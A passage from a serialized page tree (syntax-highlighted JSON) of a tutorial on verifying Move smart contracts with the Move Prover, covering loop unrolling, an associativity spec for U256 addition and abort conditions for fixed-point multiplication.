,{"style":6947},[15541],{"type":31,"value":6991},{"type":25,"tag":216,"props":15543,"children":15544},{"style":6941},[15545],{"type":31,"value":2283},{"type":25,"tag":216,"props":15547,"children":15548},{"style":6947},[15549],{"type":31,"value":1466},{"type":25,"tag":216,"props":15551,"children":15552},{"style":6941},[15553],{"type":31,"value":12368},{"type":25,"tag":216,"props":15555,"children":15556},{"style":6958},[15557],{"type":31,"value":7695},{"type":25,"tag":216,"props":15559,"children":15560},{"style":6941},[15561],{"type":31,"value":12603},{"type":25,"tag":216,"props":15563,"children":15564},{"style":6958},[15565],{"type":31,"value":12608},{"type":25,"tag":216,"props":15567,"children":15568},{"style":6947},[15569],{"type":31,"value":12522},{"type":25,"tag":216,"props":15571,"children":15572},{"style":6941},[15573],{"type":31,"value":12617},{"type":25,"tag":216,"props":15575,"children":15576},{"style":6958},[15577],{"type":31,"value":7695},{"type":25,"tag":216,"props":15579,"children":15580},{"style":6941},[15581],{"type":31,"value":12603},{"type":25,"tag":216,"props":15583,"children":15584},{"style":6958},[15585],{"type":31,"value":12608},{"type":25,"tag":216,"props":15587,"children":15588},{"style":6947},[15589],{"type":31,"value":8513},{"type":25,"tag":216,"props":15591,"children":15592},{"style":6941},[15593],{"type":31,"value":12433},{"type":25,"tag":216,"props":15595,"children":15596},{"style":6958},[15597],{"type":31,"value":6961},{"type":25,"tag":216,"props":15599,"children":15600},{"class":6916,"line":7210},[15601],{"type":25,"tag":216,"props":15602,"children":15603},{"style":6958},[15604],{"type":31,"value":12868},{"type":25,"tag":216,"props":15606,"children":15607},{"class":6916,"line":7238},[15608,15612,15616,15620,15624],{"type":25,"tag":216,"props":15609,"children":15610},{"style":6958},[15611],{"type":31,"value":15202},{"type":25,"tag":216,"props":15613,"children":15614},{"style":6941},[15615],{"type":31,"value":2283},{"type":25,"tag":216,"props":15617,"children":15618},{"style":6947},[15619],{"type":31,"value":12666},{"type":25,"tag":216,"props":15621,"children":15622},{"style":6941},[15623],{"type":31,"value":12433},{"type":25,"tag":216,"props":15625,"children":15626},{"style":6958},[15627],{"type":31,"value":7101},{"type":25,"tag":216,"props":15629,"children":15630},{"class":6916,"line":7251},[15631],{"type":25,"tag":216,"props":15632,"children":15633},{"style":6958},[15634],{"type":31,"value":15226},{"type":25,"tag":38,"props":15636,"children":15637},{},[15638],{"type":31,"value":15639},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":25,"tag":38,"props":15641,"children":15642},{},[15643,15645,15650],{"type":31,"value":15644},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":25,"tag":82,"props":15646,"children":15648},{"className":15647},[],[15649],{"type":31,"value":13588},{"type":31,"value":15651}," function will always iterate exactly 4 times:",{"type":25,"tag":206,"props":15653,"children":15655},{"code":15654,"language":6908,"meta":7,"className":6909,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[15656],{"type":25,"tag":82,"props":15657,"children":15658},{"__ignoreMap":7},[15659,15667,15700,15707,15723,15730,15754,15778,15823,15867,15874],{"type":25,"tag":216,"props":15660,"children":15661},{"class":6916,"line":6917},[15662],{"type":25,"tag":216,"props":15663,"children":15664},{"style":6921},[15665],{"type":31,"value":15666},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":25,"tag":216,"props":15668,"children":15669},{"class":6916,"line":6763},[15670,15674,15679,15683,15687,15691,15696],{"type":25,"tag":216,"props":15671,"children":15672},{"style":6930},[15673],{"type":31,"value":13605},{"type":25,"tag":216,"props":15675,"children":15676},{"style":6958},[15677],{"type":31,"value":15678}," WORDS",{"type":25,"tag":216,"props":15680,"children":15681},{"style":6947},[15682],{"type":31,"value":1466},{"type":25,"tag":216,"props":15684,"children":15685},{"style":7369},[15686],{"type":31,"value":9805},{"type":25,"tag":216,"props":15688,"children":15689},{"style":6947},[15690],{"type":31,"value":6950},{"type":25,"tag":216,"props":15692,"children":15693},{"style":6983},[15694],{"type":31,"value":15695}," 4",{"type":25,"tag":216,"props":15697,"children":15698},{"style":6958},[15699],{"type":31,"value":6961},{"type":25,"tag":216,"props":15701,"children":15702},{"class":6916,"line":6772},[15703],{"type":25,"tag":216,"props":15704,"children":15705},{"emptyLinePlaceholder":16},[15706],{"type":31,"value":7636},{"type":25,"tag":216,"props":15708,"children":15709},{"class":6916,"line":6999},[15710,15714,15718],{"type":25,"tag":216,"props":15711,"children":15712},{"style":6958},[15713],{"type":31,"value":7695},{"type":25,"tag":216,"props":15715,"children":15716},{"style":6947},[15717],{"type":31,"value":13541},{"type":25,"tag":216,"props":15719,"children":15720},{"style":6958},[15721],{"type":31,"value":15722},"]\n",{"type":25,"tag":216,"props":15724,"children":15725},{"class":6916,"line":7104},[15726],{"type":25,"tag":216,"props":15727,"children":15728},{"emptyLinePlaceholder":16},[15729],{"type":31,"value":7636},{"type":25,"tag":216,"props":15731,"children":15732},{"class":6916,"line":7210},[15733,15738,15742,15746,15750],{"type":25,"tag":216,"props":15734,"children":15735},{"style":6930},[15736],{"type":31,"value":15737},"let",{"type":25,"tag":216,"props":15739,"children":15740},{"style":6941},[15741],{"type":31,"value":7348},{"type":25,"tag":216,"props":15743,"children":15744},{"style":6947},[15745],{"type":31,"value":6950},{"type":25,"tag":216,"props":15747,"children":15748},{"style":6983},[15749],{"type":31,"value":6986},{"type":25,"tag":216,"props":15751,"children":15752},{"style":6958},[15753],{"type":31,"value":6961},{"type":25,"tag":216,"props":15755,"children":15756},{"class":6916,"line":7238},[15757,15761,15765,15769,15773],{"type":25,"tag":216,"props":15758,"children":15759},{"style":6967},[15760],{"type":31,"value":15411},{"type":25,"tag":216,"props":15762,"children":15763},{"style":6958},[15764],{"type":31,"value":7010},{"type":25,"tag":216,"props":15766,"children":15767},{"style":6941},[15768],{"type":31,"value":2283},{"type":25,"tag":216,"props":15770,"children":15771},{"style":6947},[15772],{"type":31,"value":12666},{"type":25,"tag":216,"props":15774,"children":15775},{"style":6958},[15776],{"type":31,"value":15777}," WORDS) {\n",{"type":25,"tag":216,"props":15779,"children":15780},{"class":6916,"line":7251},[15781,15785,15790,15794,15799,15803,15807,15811,15815,15819],{"type":25,"tag":216,"props":15782,"children":15783},{"style":6930},[15784],{"type":31,"value":6933},{"type":25,"tag":216,"props":15786,"children":15787},{"style":6941},[15788],{"type":31,"value":15789}," a1",{"type":25,"tag":216,"props":15791,"children":15792},{"style":6947},[15793],{"type":31,"value":6950},{"type":25,"tag":216,"props":15795,"children":15796},{"style":7041},[15797],{"type":31,"value":15798}," get",{"type":25,"tag":216,"props":15800,"children":15801},{"style":6958},[15802],{"type":31,"value":1844},{"type":25,"tag":216,"props":15804,"children":15805},{"style":6947},[15806],{"type":31,"value":7053},{"type":25,"tag":216,"props":15808,"children":15809},{"style":6941},[15810],{"type":31,"value":162},{"type":25,"tag":216,"props":15812,"children":15813},{"style":6958},[15814],{"type":31,"value":7020},{"type":25,"tag":216,"props":15816,"children":15817},{"style":6941},[15818],{"type":31,"value":2283},{"type":25,"tag":216,"props":15820,"children":15821},{"style":6958},[15822],{"type":31,"value":7791},{"type":25,"tag":216,"props":15824,"children":15825},{"class":6916,"line":7269},[15826,15830,15835,15839,15843,15847,15851,15855,15859,15863],{"type":25,"tag":216,"props":15827,"children":15828},{"style":6930},[15829],{"type":31,"value":6933},{"type":25,"tag":216,"props":15831,"children":15832},{"style":6941},[15833],{"type":31,"value":15834}," b1",{"type":25,"tag":216,"props":15836,"children":15837},{"style":6947},[15838],{"type":31,"value":6950},{"type":25,"tag":216,"props":15840,"children":15841},{"style":7041},[15842],{"type":31,"value":15798},{"type":25,"tag":216,"props":15844,"children":15845},{"style":6958},[15846],{"type":31,"value":1844},{"type":25,"tag":216,"props":15848,"children":15849},{"style":6947},[15850],{"type":31,"value":7053},{"type":25,"tag":216,"props":15852,"children":15853},{"style":6941},[15854],{"type":31,"value":7165},{"type":25,"tag":216,"props":15856,"children":15857},{"style":6958},[15858],{"type":31,"value":7020},{"type":25,"tag":216,"props":15860,"children":15861},{"style":6941},[15862],{"type":31,"value":2283},{"type":25,"tag":216,"props":15864,"children":15865},{"style":6958},[15866],{"type":31,"value":7791},{"type":25,"tag":216,"props":15868,"children":15869},{"class":6916,"line":7290},[15870],{"type":25,"tag":216,"props":15871,"children":15872},{"emptyLinePlaceholder":16},[15873],{"type":31,"value":7636},{"type":25,"tag":216,"props":15875,"children":15876},{"class":6916,"line":7299},[15877,15881,15885],{"type":25,"tag":216,"props":15878,"children":15879},{"style":6958},[15880],{"type":31,"value":7695},{"type":25,"tag":216,"props":15882,"children":15883},{"style":6947},[15884],{"type":31,"value":13541},{"type":25,"tag":216,"props":15886,"children":15887},{"style":6958},[15888],{"type":31,"value":15722},{"type":25,"tag":38,"props":15890,"children":15891},{},[15892],{"type":31,"value":15893},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":25,"tag":206,"props":15895,"children":15897},{"code":15896},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[15898],{"type":25,"tag":82,"props":15899,"children":15900},{"__ignoreMap":7},[15901],{"type":31,"value":15896},{"type":25,"tag":38,"props":15903,"children":15904},{},[15905,15907,15912,15913,15919],{"type":31,"value":15906},"For the ",{"type":25,"tag":9267,"props":15908,"children":15909},{},[15910],{"type":31,"value":15911},"Associative Property",{"type":31,"value":7010},{"type":25,"tag":82,"props":15914,"children":15916},{"className":15915},[],[15917],{"type":31,"value":15918},"a+(b+c) = (a+b)+c",{"type":31,"value":15920},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":25,"tag":206,"props":15922,"children":15924},{"code":15923,"language":6908,"meta":7,"className":6909,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[15925],{"type":25,"tag":82,"props":15926,"children":15927},{"__ignoreMap":7},[15928,16005,16044,16085,16124,16165,16172,16222,16262],{"type":25,"tag":216,"props":15929,"children":15930},{"class":6916,"line":6917},[15931,15935,15940,15944,15948,15952,15956,15960,15964,15968,15972,15976,15980,15984,15988,15992,15996,16001],{"type":25,"tag":216,"props":15932,"children":15933},{"style":6941},[15934],{"type":31,"value":11053},{"type":25,"tag":216,"props":15936,"children":15937},{"style":7041},[15938],{"type":31,"value":15939}," add_assoc_property",{"type":25,"tag":216,"props":15941,"children":15942},{"style":6958},[15943],{"type":31,"value":1844},{"type":25,"tag":216,"props":15945,"children":15946},{"style":6941},[15947],{"type":31,"value":162},{"type":25,"tag":216,"props":15949,"children":15950},{"style":6947},[15951],{"type":31,"value":1466},{"type":25,"tag":216,"props":15953,"children":15954},{"style":7369},[15955],{"type":31,"value":8672},{"type":25,"tag":216,"props":15957,"children":15958},{"style":6958},[15959],{"type":31,"value":7020},{"type":25,"tag":216,"props":15961,"children":15962},{"style":6941},[15963],{"type":31,"value":7165},{"type":25,"tag":216,"props":15965,"children":15966},{"style":6947},[15967],{"type":31,"value":1466},{"type":25,"tag":216,"props":15969,"children":15970},{"style":7369},[15971],{"type":31,"value":8672},{"type":25,"tag":216,"props":15973,"children":15974},{"style":6958},[15975],{"type":31,"value":7020},{"type":25,"tag":216,"props":15977,"children":15978},{"style":6941},[15979],{"type":31,"value":2248},{"type":25,"tag":216,"props":15981,"children":15982},{"style":6947},[15983],{"type":31,"value":1466},{"type":25,"tag":216,"props":15985,"children":15986},{"style":7369},[15987],{"type":31,"value":8672},{"type":25,"tag":216,"props":15989,"children":15990},{"style":6958},[15991],{"type":31,"value":1882},{"type":25,"tag":216,"props":15993,"children":15994},{"style":6947},[15995],{"type":31,"value":1466},{"type":25,"tag":216,"props":15997,"children":15998},{"style":7369},[15999],{"type":31,"value":16000}," bool",{"type":25,"tag":216,"props":16002,"children":16003},{"style":6958},[16004],{"type":31,"value":7235},{"type":25,"tag":216,"props":16006,"children":16007},{"class":6916,"line":6763},[16008,16012,16016,16020,16024,16028,16032,16036,16040],{"type":25,"tag":216,"props":16009,"children":16010},{"style":6930},[16011],{"type":31,"value":6933},{"type":25,"tag":216,"props":16013,"children":16014},{"style":6941},[16015],{"type":31,"value":12138},{"type":25,"tag":216,"props":16017,"children":16018},{"style":6947},[16019],{"type":31,"value":6950},{"type":25,"tag":216,"props":16021,"children":16022},{"style":7041},[16023],{"type":31,"value":13531},{"type":25,"tag":216,"props":16025,"children":16026},{"style":6958},[16027],{"type":31,"value":1844},{"type":25,"tag":216,"props":16029,"children":16030},{"style":6941},[16031],{"type":31,"value":7165},{"type":25,"tag":216,"props":16033,"children":16034},{"style":6958},[16035],{"type":31,"value":7020},{"type":25,"tag":216,"props":16037,"children":16038},{"style":6941},[16039],{"type":31,"value":2248},{"type":25,"tag":216,"props":16041,"children":16042},{"style":6958},[16043],{"type":31,"value":7791},{"type":25,"tag":216,"props":16045,"children":16046},{"class":6916,"line":6772},[16047,16051,16056,16060,16064,16068,16072,16076,16081],{"type":25,"tag":216,"props":16048,"children":16049},{"style":6930},[16050],{"type":31,"value":6933},{"type":25,"tag":216,"props":16052,"children":16053},{"style":6941},[16054],{"type":31,"value":16055}," result_11",{"type":25,"tag":216,"props":16057,"children":16058},{"style":6947},[16059],{"type":31,"value":6950},{"type":25,"tag":216,"props":16061,"children":16062},{"style":7041},[16063],{"type":31,"value":13531},{"type":25,"tag":216,"props":16065,"children":16066},{"style":6958},[16067],{"type":31,"value":1844},{"type":25,"tag":216,"props":16069,"children":16070},{"style":6941},[16071],{"type":31,"value":162},{"type":25,"tag":216,"props":16073,"children":16074},{"style":6958},[16075],{"type":31,"value":7020},{"type":25,"tag":216,"props":16077,"children":16078},{"style":6941},[16079],{"type":31,"value":16080},"result_1",{"type":25,"tag":216,"props":16082,"children":16083},{"style":6958},[16084],{"type":31,"value":7791},{"type":25,"tag":216,"props":16086,"children":16087},{"class":6916,"line":6999},[16088,16092,16096,16100,16104,16108,16112,16116,16120],{"type":25,"tag":216,"props":16089,"children":16090},{"style":6930},[16091],{"type":31,"value":6933},{"type":25,"tag":216,"props":16093,"children":16094},{"style":6941},[16095],{"type":31,"value":12164},{"type":25,"tag":216,"props":16097,"children":16098},{"style":6947},[16099],{"type":31,"value":6950},{"type":25,"tag":216,"props":16101,"children":16102},{"style":7041},[16103],{"type":31,"value":13531},{"type":25,"tag":216,"props":16105,"children":16106},{"style":6958},[16107],{"type":31,"value":1844},{"type":25,"tag":216,"props":16109,"children":16110},{"style":6941},[16111],{"type":31,"value":162},{"type":25,"tag":216,"props":16113,"children":16114},{"style":6958},[16115],{"type":31,"value":7020},{"type":25,"tag":216,"props":16117,"children":16118},{"style":6941},[16119],{"type":31,"value":7165},{"type":25,"tag":216,"props":16121,"children":16122},{"style":6958},[16123],{"type":31,"value":7791},{"type":25,"tag":216,"props":16125,"children":16126},{"class":6916,"line":7104},[16127,16131,16136,16140,16144,16148,16152,16156,16161],{"type":25,"tag":216,"props":16128,"children":16129},{"style":6930},[16130],{"type":31,"value":6933},{"type":25,"tag":216,"props":16132,"children":16133},{"style":6941},[16134],{"type":31,"value":16135}," result_22",{"type":25,"tag":216,"props":16137,"children":16138},{"style":6947},[16139],{"type":31,"value":6950},{"type":25,"tag":216,"props":16141,"children":16142},{"style":7041},[16143],{"type":31,"value":13531},{"type":25,"tag":216,"props":16145,"children":16146},{"style":6958},[16147],{"type":31,"value":1844},{"type":25,"tag":216,"props":16149,"children":16150},{"style":6941},[16151],{"type":31,"value":2248},{"type":25,"tag":216,"props":16153,"children":16154},{"style":6958},[16155],{"type":31,"value":7020},{"type":25,"tag":216,"props":16157,"children":16158},{"style":6941},[16159],{"type":31,"value":16160},"result_2",{"type":25,"tag":216,"props":16162,"children":16163},{"style":6958},[16164],{"type":31,"value":7791},{"type":25,"tag":216,"props":16166,"children":16167},{"class":6916,"line":7210},[16168],{"type":25,"tag":216,"props":16169,"children":16170},{"emptyLinePlaceholder":16},[16171],{"type":31,"value":7636},{"type":25,"tag":216,"props":16173,"children":16174},{"class":6916,"line":7238},[16175,16179,16183,16187,16192,16196,16200,16205,16209,16213,16218],{"type":25,"tag":216,"props":16176,"children":16177},{"style":6930},[16178],{"type":31,"value":6933},{"type":25,"tag":216,"props":16180,"children":16181},{"style":6941},[16182],{"type":31,"value":11806},{"type":25,"tag":216,"props":16184,"children":16185},{"style":6947},[16186],{"type":31,"value":6950},{"type":25,"tag":216,"props":16188,"children":16189},{"style":7041},[16190],{"type":31,"value":16191}," compare",{"type":25,"tag":216,"props":16193,"children":16194},{"style":6958},[16195],{"type":31,"value":1844},{"type":25,"tag":216,"props":16197,"children":16198},{"style":6947},[16199],{"type":31,"value":7053},{"type":25,"tag":216,"props":16201,"children":16202},{"style":6941},[16203],{"type":31,"value":16204},"result_11",{"type":25,"tag":216,"props":16206,"children":16207},{"style":6958},[16208],{"type":31,"value":7020},{"type":25,"tag":216,"props":16210,"children":16211},{"style":6947},[16212],{"type":31,"value":7053},{"type":25,"tag":216,"props":16214,"children":16215},{"style":6941},[16216],{"type":31,"value":16217},"result_22",{"type":25,"tag":216,"props":16219,"children":16220},{"style":6958},[16221],{"type":31,"value":7791},{"type":25,"tag":216,"props":16223,"children":16224},{"class":6916,"line":7251},[16225,16230,16235,16239,16243,16248,16252,16257],{"type":25,"tag":216,"props":16226,"children":16227},{"style":6967},[16228],{"type":31,"value":16229},"    if",{"type":25,"tag":216,"props":16231,"children":16232},{"style":6958},[16233],{"type":31,"value":16234}," ( ",{"type":25,"tag":216,"props":16236,"children":16237},{"style":6941},[16238],{"type":31,"value":11871},{"type":25,"tag":216,"props":16240,"children":16241},{"style":6947},[16242],{"type":31,"value":7226},{"type":25,"tag":216,"props":16244,"children":16245},{"style":6958},[16246],{"type":31,"value":16247}," EQUAL ) ",{"type":25,"tag":216,"props":16249,"children":16250},{"style":6930},[16251],{"type":31,"value":230},{"type":25,"tag":216,"props":16253,"children":16254},{"style":6967},[16255],{"type":31,"value":16256}," else",{"type":25,"tag":216,"props":16258,"children":16259},{"style":6930},[16260],{"type":31,"value":16261}," false\n",{"type":25,"tag":216,"props":16263,"children":16264},{"class":6916,"line":7269},[16265],{"type":25,"tag":216,"props":16266,"children":16267},{"style":6958},[16268],{"type":31,"value":7868},{"type":25,"tag":38,"props":16270,"children":16271},{},[16272],{"type":31,"value":16273},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":25,"tag":206,"props":16275,"children":16277},{"code":16276,"language":6908,"meta":7,"className":6909,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[16278],{"type":25,"tag":82,"props":16279,"children":16280},{"__ignoreMap":7},[16281,16296,16400,16424],{"type":25,"tag":216,"props":16282,"children":16283},{"class":6916,"line":6917},[16284,16288,16292],{"type":25,"tag":216,"props":16285,"children":16286},{"style":6941},[16287],{"type":31,"value":12221},{"type":25,"tag":216,"props":16289,"children":16290},{"style":6941},[16291],{"type":31,"value":15939},{"type":25,"tag":216,"props":16293,"children":16294},{"style":6958},[16295],{"type":31,"value":7235},{"type":25,"tag":216,"props":16297,"children":16298},{"class":6916,"line":6763},[16299,16303,16307,16312,16316,16320,16324,16328,16332,16336,16340,16344,16348,16352,16356,16360,16364,16368,16372,16376,16380,16384,16388,16392,16396],{"type":25,"tag":216,"props":16300,"children":16301},{"style":6941},[16302],{"type":31,"value":13853},{"type":25,"tag":216,"props":16304,"children":16305},{"style":6958},[16306],{"type":31,"value":7010},{"type":25,"tag":216,"props":16308,"children":16309},{"style":7041},[16310],{"type":31,"value":16311},"value_of_U256",{"type":25,"tag":216,"props":16313,"children":16314},{"style":6958},[16315],{"type":31,"value":1844},{"type":25,"tag":216,"props":16317,"children":16318},{"style":6941},[16319],{"type":31,"value":162},{"type":25,"tag":216,"props":16321,"children":16322},{"style":6958},[16323],{"type":31,"value":7030},{"type":25,"tag":216,"props":16325,"children":16326},{"style":6947},[16327],{"type":31,"value":3533},{"type":25,"tag":216,"props":16329,"children":16330},{"style":7041},[16331],{"type":31,"value":13654},{"type":25,"tag":216,"props":16333,"children":16334},{"style":6958},[16335],{"type":31,"value":1844},{"type":25,"tag":216,"props":16337,"children":16338},{"style":6941},[16339],{"type":31,"value":7165},{"type":25,"tag":216,"props":16341,"children":16342},{"style":6958},[16343],{"type":31,"value":12784},{"type":25,"tag":216,"props":16345,"children":16346},{"style":6947},[16347],{"type":31,"value":3533},{"type":25,"tag":216,"props":16349,"children":16350},{"style":7041},[16351],{"type":31,"value":13654},{"type":25,"tag":216,"props":16353,"children":16354},{"style":6958},[16355],{"type":31,"value":1844},{"type":25,"tag":216,"props":16357,"children":16358},{"style":6941},[16359],{"type":31,"value":2248},{"type":25,"tag":216,"props":16361,"children":16362},{"style":6958},[16363],{"type":31,"value":7030},{"type":25,"tag":216,"props":16365,"children":16366},{"style":6947},[16367],{"type":31,"value":13894},{"type":25,"tag":216,"props":16369,"children":16370},{"style":7369},[16371],{"type":31,"value":13610},{"type":25,"tag":216,"props":16373,"children":16374},{"style":6947},[16375],{"type":31,"value":13767},{"type":25,"tag":216,"props":16377,"children":16378},{"style":7369},[16379],{"type":31,"value":13610},{"type":25,"tag":216,"props":16381,"children":16382},{"style":6947},[16383],{"type":31,"value":13767},{"type":25,"tag":216,"props":16385,"children":16386},{"style":7369},[16387],{"type":31,"value":13610},{"type":25,"tag":216,"props":16389,"children":16390},{"style":6947},[16391],{"type":31,"value":13767},{"type":25,"tag":216,"props":16393,"children":16394},{"style":7369},[16395],{"type":31,"value":13610},{"type":25,"tag":216,"props":16397,"children":16398},{"style":6958},[16399],{"type":31,"value":6961},{"type":25,"tag":216,"props":16401,"children":16402},{"class":6916,"line":6772},[16403,16407,16411,16415,16420],{"type":25,"tag":216,"props":16404,"children":16405},{"style":6941},[16406],{"type":31,"value":14151},{"type":25,"tag":216,"props":16408,"children":16409},{"style":6941},[16410],{"type":31,"value":13109},{"type":25,"tag":216,"props":16412,"children":16413},{"style":6947},[16414],{"type":31,"value":7226},{"type":25,"tag":216,"props":16416,"children":16417},{"style":6930},[16418],{"type":31,"value":16419}," true",{"type":25,"tag":216,"props":16421,"children":16422},{"style":6958},[16423],{"type":31,"value":6961},{"type":25,"tag":216,"props":16425,"children":16426},{"class":6916,"line":6999},[16427],{"type":25,"tag":216,"props":16428,"children":16429},{"style":6958},[16430],{"type":31,"value":7868},{"type":25,"tag":38,"props":16432,"children":16433},{},[16434],{"type":31,"value":16435},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":25,"tag":206,"props":16437,"children":16438},{"code":15896},[16439],{"type":25,"tag":82,"props":16440,"children":16441},{"__ignoreMap":7},[16442],{"type":31,"value":15896},{"type":25,"tag":38,"props":16444,"children":16445},{},[16446,16448,16455],{"type":31,"value":16447},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":25,"tag":162,"props":16449,"children":16452},{"href":16450,"rel":16451},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[166],[16453],{"type":31,"value":16454},"spec-lang.md",{"type":31,"value":16456}," in the Move Repository.",{"type":25,"tag":26,"props":16458,"children":16460},{"id":16459},"use-cases",[16461],{"type":31,"value":16462},"Use Cases",{"type":25,"tag":38,"props":16464,"children":16465},{},[16466],{"type":31,"value":16467},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":25,"tag":38,"props":16469,"children":16470},{},[16471],{"type":31,"value":16472},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":25,"tag":607,"props":16474,"children":16476},{"id":16475},"error-conditions",[16477],{"type":31,"value":16478},"Error Conditions",{"type":25,"tag":38,"props":16480,"children":16481},{},[16482,16484,16490],{"type":31,"value":16483},"Taking an example from ",{"type":25,"tag":82,"props":16485,"children":16487},{"className":16486},[],[16488],{"type":31,"value":16489},"std::fixed_point32",{"type":31,"value":16491},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":25,"tag":206,"props":16493,"children":16495},{"code":16494,"language":6908,"meta":7,"className":6909,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[16496],{"type":25,"tag":82,"props":16497,"children":16498},{"__ignoreMap":7},[16499,16520,16540,16561,16607,16615,16678,16717],{"type":25,"tag":216,"props":16500,"children":16501},{"class":6916,"line":6917},[16502,16506,16511,16516],{"type":25,"tag":216,"props":16503,"children":16504},{"style":6941},[16505],{"type":31,"value":12876},{"type":25,"tag":216,"props":16507,"children":16508},{"style":6941},[16509],{"type":31,"value":16510}," schema",{"type":25,"tag":216,"props":16512,"children":16513},{"style":7369},[16514],{"type":31,"value":16515}," MultiplyAbortsIf",{"type":25,"tag":216,"props":16517,"children":16518},{"style":6958},[16519],{"type":31,"value":7235},{"type":25,"tag":216,"props":16521,"children":16522},{"class":6916,"line":6763},[16523,16528,16532,16536],{"type":25,"tag":216,"props":16524,"children":16525},{"style":6941},[16526],{"type":31,"value":16527},"          val",{"type":25,"tag":216,"props":16529,"children":16530},{"style":6947},[16531],{"type":31,"value":1466},{"type":25,"tag":216,"props":16533,"children":16534},{"style":6941},[16535],{"type":31,"value":13683},{"type":25,"tag":216,"props":16537,"children":16538},{"style":6958},[16539],{"type":31,"value":6961},{"type":25,"tag":216,"props":16541,"children":16542},{"class":6916,"line":6772},[16543,16548,16552,16557],{"type":25,"tag":216,"props":16544,"children":16545},{"style":6941},[16546],{"type":31,"value":16547},"          multiplier",{"type":25,"tag":216,"props":16549,"children":16550},{"style":6947},[16551],{"type":31,"value":1466},{"type":25,"tag":216,"props":16553,"children":16554},{"style":7369},[16555],{"type":31,"value":16556}," FixedPoint32",{"type":25,"tag":216,"props":16558,"children":16559},{"style":6958},[16560],{"type":31,"value":6961},{"type":25,"tag":216,"props":16562,"children":16563},{"class":6916,"line":6999},[16564,16569,16574,16578,16583,16587,16592,16597,16602],{"type":25,"tag":216,"props":16565,"children":16566},{"style":6941},[16567],{"type":31,"value":16568},"          aborts_if",{"type":25,"tag":216,"props":16570,"children":16571},{"style":7041},[16572],{"type":31,"value":16573}," spec_multiply_u64",{"type":25,"tag":216,"props":16575,"children":16576},{"style":6958},[16577],{"type":31,"value":1844},{"type":25,"tag":216,"props":16579,"children":16580},{"style":6941},[16581],{"type":31,"value":16582},"val",{"type":25,"tag":216,"props":16584,"children":16585},{"style":6958},[16586],{"type":31,"value":7020},{"type":25,"tag":216,"props":16588,"children":16589},{"style":6941},[16590],{"type":31,"value":16591},"multiplier",{"type":25,"tag":216,"props":16593,"children":16594},{"style":6958},[16595],{"type":31,"value":16596},") > MAX_U64 ",{"type":25,"tag":216,"props":16598,"children":16599},{"style":6941},[16600],{"type":31,"value":16601},"with",{"type":25,"tag":216,"props":16603,"children":16604},{"style":6958},[16605],{"type":31,"value":16606}," EMULTIPLICATION;\n",{"type":25,"tag":216,"props":16608,"children":16609},{"class":6916,"line":7104},[16610],{"type":25,"tag":216,"props":16611,"children":16612},{"style":6958},[16613],{"type":31,"value":16614},"      }\n",{"type":25,"tag":216,"props":16616,"children":16617},{"class":6916,"line":7210},[16618,16622,16626,16630,16634,16638,16642,16646,16650,16654,16658,16662,16666,16670,16674],{"type":25,"tag":216,"props":16619,"children":16620},{"style":6941},[16621],{"type":31,"value":12876},{"type":25,"tag":216,"props":16623,"children":16624},{"style":6941},[16625],{"type":31,"value":10152},{"type":25,"tag":216,"props":16627,"children":16628},{"style":7041},[16629],{"type":31,"value":16573},{"type":25,"tag":216,"props":16631,"children":16632},{"style":6958},[16633],{"type":31,"value":1844},{"type":25,"tag":216,"props":16635,"children":16636},{"style":6941},[16637],{"type":31,"value":16582},{"type":25,"tag":216,"props":16639,"children":16640},{"style":6947},[16641],{"type":31,"value":1466},{"type":25,"tag":216,"props":16643,"children":16644},{"style":6941},[16645],{"type":31,"value":13683},{"type":25,"tag":216,"props":16647,"children":16648},{"style":6958},[16649],{"type":31,"value":7020},{"type":25,"tag":216,"props":16651,"children":16652},{"style":6941},[16653],{"type":31,"value":16591},{"type":25,"tag":216,"props":16655,"children":16656},{"style":6947},[16657],{"type":31,"value":1466},{"type":25,"tag":216,"props":16659,"children":16660},{"style":7369},[16661],{"type":31,"value":16556},{"type":25,"tag":216,"props":16663,"children":16664},{"style":6958},[16665],{"type":31,"value":1882},{"type":25,"tag":216,"props":16667,"children":16668},{"style":6947},[16669],{"type":31,"value":1466},{"type":25,"tag":216,"props":16671,"children":16672},{"style":6941},[16673],{"type":31,"value":13683},{"type":25,"tag":216,"props":16675,"children":16676},{"style":6958},[16677],{"type":31,"value":7235},{"type":25,"tag":216,"props":16679,"children":16680},{"class":6916,"line":7238},[16681,16685,16689,16693,16698,16702,16707,16712],{"type":25,"tag":216,"props":16682,"children":16683},{"style":6958},[16684],{"type":31,"value":12657},{"type":25,"tag":216,"props":16686,"children":16687},{"style":6941},[16688],{"type":31,"value":16582},{"type":25,"tag":216,"props":16690,"children":16691},{"style":6947},[16692],{"type":31,"value":13767},{"type":25,"tag":216,"props":16694,"children":16695},{"s